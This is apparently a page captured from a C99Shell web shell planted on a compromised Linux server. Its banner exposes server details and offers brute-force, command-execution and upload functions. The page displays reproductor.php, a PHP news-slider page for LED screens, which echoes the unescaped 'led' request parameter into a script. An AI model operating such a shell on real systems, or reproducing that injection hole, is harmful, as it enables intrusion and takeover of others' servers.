!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/proyectos/ledback/php/   drwxrwxr-x
Free 11.79 GB of 61.93 GB (19.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     reproductor.php (15.55 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 

setlocale 
(LC_TIME,"spanish");

//set listas a partir de distitnas fuentes ---------------------------------------------------------------------------------------
if(isset($_REQUEST['led'])){ //es un led

    
$datos_led toba::tabla('led')->get_led_por_codigo_activo($_REQUEST['led'], true);


    if(!empty(
$datos_led['id_led']))  {  
        
$id_lista_noticia $datos_led['id_lista_noticia']; 
        
$usar_streaming   $datos_led['usar_streaming'];
    }else{
        echo 
"LED incorrecto";
        exit;        
    }

    
$controles '';
    
$navBulletsWrapper false;

    
$zoom '100%';

}else{

    
$usar_streaming    false;

    
$controles "controls";
    
$navBulletsWrapper true;

    
$zoom '40%';

    
$parametros toba::memoria()->get_parametros();
    
$clave_get toba::memoria()->get_parametro('fila_safe');
    
$claves_originales toba_ei_cuadro::recuperar_clave_fila('2324'$clave_get); //Leds - Cuadro
    //----- Obtengo datos necesarios ------------------------------------------------------------

    
if(isset($claves_originales['id_led']) and $_SESSION['cuadro_origen'] == 'leds_cuadro') {

        
$datos_led toba::tabla('led')->get_led_activo($claves_originales['id_led']);

        if(!empty(
$datos_led['id_lista_noticia']))  {  $id_lista_noticia $datos_led['id_lista_noticia'];  }

    }else{

        
$claves_originales toba_ei_cuadro::recuperar_clave_fila('2330'$clave_get); //Listas de reproducción - Cuadro
        //----- Obtengo datos necesarios ------------------------------------------------------------

        
if(isset($claves_originales['id_lista_noticia']) and $_SESSION['cuadro_origen'] == 'lista_reproduccion_cuadro') {

            
//$id_lista = null;
            
$id_lista_noticia $claves_originales['id_lista_noticia'];
        }

    }

}



//----------- Set streaming ---------------------------------------

if($usar_streaming == 1)  {  
  
    
$hora_desde       str_replace(':'''$datos_led['hora_desde']);
    
$hora_hasta       str_replace(':'''$datos_led['hora_hasta']);
    if(!empty(
$datos_led['hora_desde2']))  { $hora_desde2  str_replace(':'''$datos_led['hora_desde2']);  }
    if(!empty(
$datos_led['hora_hasta2']))  { $hora_hasta2  str_replace(':'''$datos_led['hora_hasta2']);  }


    
$hora_actual date("His");

    if( (
$hora_actual >= $hora_desde and $hora_actual <= $hora_hasta) or ($hora_actual >= $hora_desde2 and $hora_actual <= $hora_hasta2)){
        
$canal_streaming  $datos_led['canal_streaming'];
    }
//------------ Set noticias ---------------------------------------
}

if(!empty(
$id_lista_noticia)){

    
$datos_lista_noticia toba::tabla('lista_noticia')->get_lista_noticia($id_lista_noticia);
    if(
$datos_lista_noticia['estado'] == 'A'){
        
$noticias toba::tabla('noticia')->get_noticias_lista($id_lista_noticia);
    }else{
        
toba::notificacion()->agregar("Lista de Noticias #$id_lista_noticia Inactiva."'warning'); 
    }   
}

?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="PUNTOCOM S.A.">
    <link rel="icon" href="img/favicon.ico">

    <title>AdminLED</title>


    <link href="slider/js-image-slider.css" rel="stylesheet" type="text/css" />
    <script src="slider/mcVideoPlugin.js" type="text/javascript"></script>
    <script src="slider/js-image-slider.js" type="text/javascript"></script>
    <link href="slider/generic.css" rel="stylesheet" type="text/css" />


    <?php 
    
if($_SESSION['carga_inicial'] <> true){

         
$_SESSION['carga_inicial'] = true;

    
?>
    <script type="text/javascript">
        setTimeout( recargar, 3000 );

        //alert("recarga en 3 seg.");

        function recargar(){
            location.reload();
        }
    </script>
    <?php     
    
}
    
?>

    <script type="text/javascript">
        imageSlider.thumbnailPreview(function (thumbIndex) { return "<img src='img/fondo_video.png?t=" + (thumbIndex + 1) + "' style='width:180px;height:75px;' />"; });
    </script>

    <script type="text/javascript">
        var inter = function(){
                     
            setInterval(
                function() {
                    poll()
                }, 1000 * 60 * 1); //cada 1 minutos
         
        }
            
        var poll = function(){
                               
            /*$.ajax({
                url: 'ajax.php',
                timeout: 10000,
                dataType: 'JSON',
                success: function(respuesta){
                    //console.log(respuesta);
                    alert(respuesta);
                }
            });*/


            /* Crea el objeto AJAX. Esta funcion es generica para cualquier utilidad de este tipo, por
            lo que se puede copiar tal como esta aqui */
            var xmlhttp=false; 
            try 
            { 
                    // Creacion del objeto AJAX para navegadores no IE
                    xmlhttp=new ActiveXObject("Msxml2.XMLHTTP"); 
            }
            catch(e)
            { 
                    try
                    { 
                            // Creacion del objet AJAX para IE 
                            xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); 
                    } 
                    catch(E) { xmlhttp=false; }
            }
            if (!xmlhttp && typeof XMLHttpRequest!='undefined') { xmlhttp=new XMLHttpRequest(); } 


            /* Invocamos */
            xmlhttp.open("POST", "aplicacion.php?ai=led||3472&tcm=popup&tm=1", true); //verificar
            xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xmlhttp.send("led=<?php echo $_REQUEST['led']; ?>");

            xmlhttp.onreadystatechange=function()
            {
                if (xmlhttp.readyState==4){ // Respuesta recibida. Coloco el texto plano en la capa correspondiente

                    var res = xmlhttp.responseText;
                    //alert(res); //ej. verificar: RO126374846902

                    if(res == 'reload'){
                        location.reload();
                    }
                }
            }

        };
         
        inter();
     </script>   

    <?php
    
if($navBulletsWrapper == false){
    
?>
        <style type="text/css">

        <!--
        #slider div.navBulletsWrapper{
            display: none;
            visibility: hidden;
        }

        video{
            cursor: none;
        }

        
        #slider{
            cursor: none;
        }

        #slider .video {
            cursor: none;
        }

        -->
        </style>

    <?php 
    

    
?>

    <?php
    
if(!empty($canal_streaming)){
    
?>
        <style type="text/css">

        <!--
            html, body {
                height: 100%;
                margin: 0;         /* Reset default margin on the body element */
                background: #000;
                overflow: hidden;
            }
            iframe {
                position: fixed;
                background: #000;
                border: none;         /* Reset default border */
                top: 0; right: 0;
                bottom: 0; left: 0;
                width: 100%;
                height: 100%;
            }
        -->
        </style>

    <?php 
    

?>

</head>

<body id="myimage" style="zoom:<?php echo $zoom?>">

<?php 
if(!empty($canal_streaming)){

    
$mostrar_zocalo false;
    
$alto_zolcalo_y_scroll '0px';
    
$alto_zolcalo '0px';
    
$alto_scroll '0px';

    echo 
'<iframe frameborder="0" width="100%" height="100%" src="'.$datos_led['canal_streaming'].'&autoplay=true" allowfullscreen="true" webkitallowfullscreen="true" scrolling="no"></iframe> 
        '
;

}else{

    
$mostrar_zocalo $datos_led['zocalo'];


    if(
$mostrar_zocalo == true){
        
$alto_zolcalo_y_scroll '200px';
        
$alto_zolcalo '150px';
        
$alto_scroll '50px';
    }else{
        
$alto_zolcalo_y_scroll '0px';
        
$alto_zolcalo '0px';
        
$alto_scroll '0px';
    }

    
?>

  <div id="sliderFrame">

    <div id="slider" style="margin-bottom: <?php echo $alto_zolcalo_y_scroll?>">
        <?php 
        
//------------------------------------ Mostramos videos -----------------------------------------------
        
if(count($noticias)>0){

            foreach(
$noticias as $dato){

                switch (
$dato['tipo']) {

                    case 
'youtube':
                        
//560 x 315 (16:9)
                        //800 x 450 (16:9)

                        
echo '<a class="video" href="'.$dato['youtube'].'" data-autovideo="true">
                                <b data-src="img/fondo_video.png">'
.$dato['descripcion'].'</b>
                            </a>'
;

                        break;

                    case 
'url':
                
                        
/*echo '          
                        <!-- en vivo -->
                        <iframe class="video_ustream" src="http://www.ustream.tv/embed/20087208?wmode=direct" style="border: 0px none transparent; width: 1140px; height: 642px;" webkitallowfullscreen="" allowfullscreen="" frameborder="no"></iframe>
                               
                        '; */ 

                        
break;  

                    case 
'local':

                        echo 
'<video preload="none" data-image="img/fondo_video.png" '.$controles.' autoplay data-autovideo="true">
                            <source data-src="video/'
.$dato['archivo'].'" type="video/mp4" />
                        </video>'
;


                        break;  

                    
                    case 
'noticia':

                        echo 
'<img src="video/'.$dato['archivo'].'" alt="#caption'.$dato['id_noticia'].'" />';


                        break;  

                    default:

                        
//echo '(desconocido)';
                    
                        
break;

                }
//fin switch tipo

            
//fin foreach noticias

        
//fin if(count($videos)>0){

        
?>
    </div>


    <!--thumbnails-->
    <div id="thumbs" class="slider_div" data-autovideo="true" style="display: none;">
        <?php 
        
if(count($noticias)>0){

            foreach(
$noticias as $key=>$dato){

                switch (
$dato['tipo']) {

                    case 
'youtube':
                    case 
'url':
                    case 
'local':

                        echo 
'<div class="thumb slider_div">
                                <img src="img/fondo_video.png?t='
.$key.'" /><div class="playvideo slider_div"></div>
                            </div>'
;

                        break;  

                    case 
'noticia':
                    default:

                        echo 
'<div class="thumb slider_div">
                            <img src="video/'
.$dato['archivo'].'" />
                        </div>'
;
                                    
                        break;

                }
//fin switch tipo
            
}
        }
        
?>
  </div>

    <div style="display: none;">
        <?php 
        
if(count($noticias)>0){

            foreach(
$noticias as $dato){

                if(
$dato['tipo'] == 'noticia'){

                    echo 
'<div id="caption'.$dato['id_noticia'].'">

                            <div class="boxcap">

                              <div class="boxcap-zocalo boxcap-estilo1">

                                <!-- <div class="boxcap_imagen"><img src="img/logo-tdf.png" alt=""></div> -->

                                 <div class="boxcap_caption">
                                  <div class="boxcap_header">
                                   <div class="boxcap_subtitulo">'
.$dato['copete'].'</div>
                                  </div>
                                  <div class="boxcap_body">
                                   <h1 class="boxcap_titulo">'
.$dato['encabezado'].'</h1>
                                   <p class="boxcap_texto">'
.$dato['bajada'].'</p>
                                  </div>
                                 </div>

                             </div>

                          </div>

                        </div>
                    '
;   


                }
            }
        }
        
?> 
    </div>
 </div>
<?php 

    
//===============================================================
    //===============================================================

    
if($mostrar_zocalo == true){

        
//scrolldelay: Éste nos define la velocidad del texto que está dentro de la marquesina. A menor numeración, mayor velocidad

        //scrollamount: Este atributo define la cantidad de píxeles que queremos que se desplace el texto en cada movimiento. Por ejemplo: <marquee scrollamount=”3″> </marquee> significará que el texto que vaya dentro de esa etiqueta se moverá a razón de tres píxeles por movimiento.

?>
    <style type="text/css">

    <!-- 
    .navbar{
        color: #9d9d9d;
        background-color: #000;
        bottom: 0px;
        position: absolute;
    }
    .navbar-header{
        position: absolute;
        z-index: 10;
        background-color: #222; 
    }
    .container-fluid {
        /*height: 50px;*/
    }
    .noticias{ 
        width:100%;
    }
    .noti_encabezado{
        font-size: 30px; padding: 17px; background-color: #080808; margin: 0px;
    }
    .noti_bajada {
        font-size: 30px; padding: 17px; color: #fff;
    }
    -->
    </style>


        <nav class="navbar navbar-inverse navbar-fixed-bottom"  style="height: <?php echo $alto_zolcalo_y_scroll?>;     width: 100%;">

          <?php require_once('zocalo.php'?>

          <div class="container-fluid">
            <!-- <div class="navbar-header">
              <a class="navbar-brand" href="#">Noticias</a>
            </div> -->

            <marquee onmouseover=this.stop() onmouseout=this.start() direction="left" scrolldelay="10" scrollamount="5" loop="infinite" style="width:100%;height:<?php echo $alto_scroll ?>; position:absolute;bottom:0px; width: 100%">
            <div class="nav navbar-nav" style="line-height: <?php echo $alto_scroll ?> ">
           
            <?php 
            
foreach ($noticias as $noticia) {
                if(
$noticia['tipo'] == 'noticia'){
            
?>

              <span class="noti_encabezado"><?php if(!empty($noticia['fecha'])){ list($y,$m,$d) = explode('-',$noticia['fecha']); echo "$d/$m/$y - "; } echo $noticia['encabezado']; ?>:</span>
              <span class="noti_bajada"><?php echo $noticia['bajada']; ?></span>    

            <?php 
                
}
            }
            
?>

            </div>
            </marquee>
          </div>
        </nav>
  

        <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
        <!-- Include all compiled plugins (below), or include individual files as needed -->
        <script src="js/bootstrap.min.js"></script>

<?php 
    
}
    
//===============================================================
    //===============================================================


?>


</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5189 ]--